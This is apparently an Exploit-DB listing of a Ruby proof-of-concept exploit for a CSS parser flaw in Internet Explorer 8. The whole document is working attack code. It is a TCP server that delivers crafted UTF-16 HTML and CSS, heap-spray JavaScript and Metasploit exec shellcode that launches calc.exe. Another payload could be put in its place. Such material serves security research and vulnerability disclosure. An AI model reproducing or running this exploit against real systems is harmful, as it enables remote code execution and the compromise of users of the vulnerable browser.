Microsoft Internet Explorer 8 – CSS Parser
#!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = "HTTP/1.1 #{code} #{message}\r\n" + "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + "Cache-Control: no-cache\r\n" + "Content-Type: #{type}\r\n" + "Pragma: no-cache\r\n" + "Content-Length: #{data.length}\r\n\r\n" + "#{data}" puts "[+] Sending:" to_send.split("\n").each do |line| puts " #{line}" end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" out_str.split("\n").each do |line| puts " #{line}" end else sock.close return false end rescue Exception => ex return false end end def to_uni(str) res = "" str.each_byte do |b| res << "\x00#{b.chr}" end res end @css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s" @html_name = "test.html" placeholder = "a" * (@css_name.length/2) @html = <<-HTML <script> function dup_str(str, length) { var res = str; while(res.length < length) { res += res; } res = res.substr(res.length - length); return res; } function to_bin(str) { var res = ""; while(str.length > 0) { var first = str.substr(0, 2); var second = str.substr(2, 2); res += "%u" + second + first; str = (str.length > 4) ? str.substr(4) : ""; } return unescape(res); } // first heap spray var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6); var arr = [] for(var i = 0; i < 60000; i++) { arr[i] = ["" + base].join(""); } // second heap spray w/ shellcode var nops = dup_str(to_bin("0c0c0c0c"), 4096+6); // windows/exec - 200 bytes // http://www.metasploit.com // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065"); var arr2 = []; for(var i = 0; i < 30000; i++) { arr2[i] = [nops + shellcode].join(""); } // write the link to the stylesheet var link = document.createElement("link"); link.setAttribute("rel", "Stylesheet"); link.setAttribute("type", "text/css"); link.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(link); </script> HTML @html = "\xfe\xff" + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = <<-CSS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); CSS @css = "\xfe\xff" + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = <<-INDEX <a href="https://www.exploit-db.com/exploits/15746/#{@html_name}">#{@html_name}</a> INDEX TCPServer.open(55555) do |srv| while true cli = srv.accept req = "" html = "" css = "" index = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET/ if req =~ /GET.*#{Regexp.escape(@html_name)}/ break unless http_send(cli, @html, :type=>"text/html") elsif req =~ /GET.*index/ break unless http_send(cli, @index) elsif req =~ /GET.*#{Regexp.escape(@css_name)}/ break unless http_send(cli, @css, :type=>"text/css") else break unless http_send(cli, @css, :type=>"text/css") end elsif req =~ /QUIT/ exit() end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end |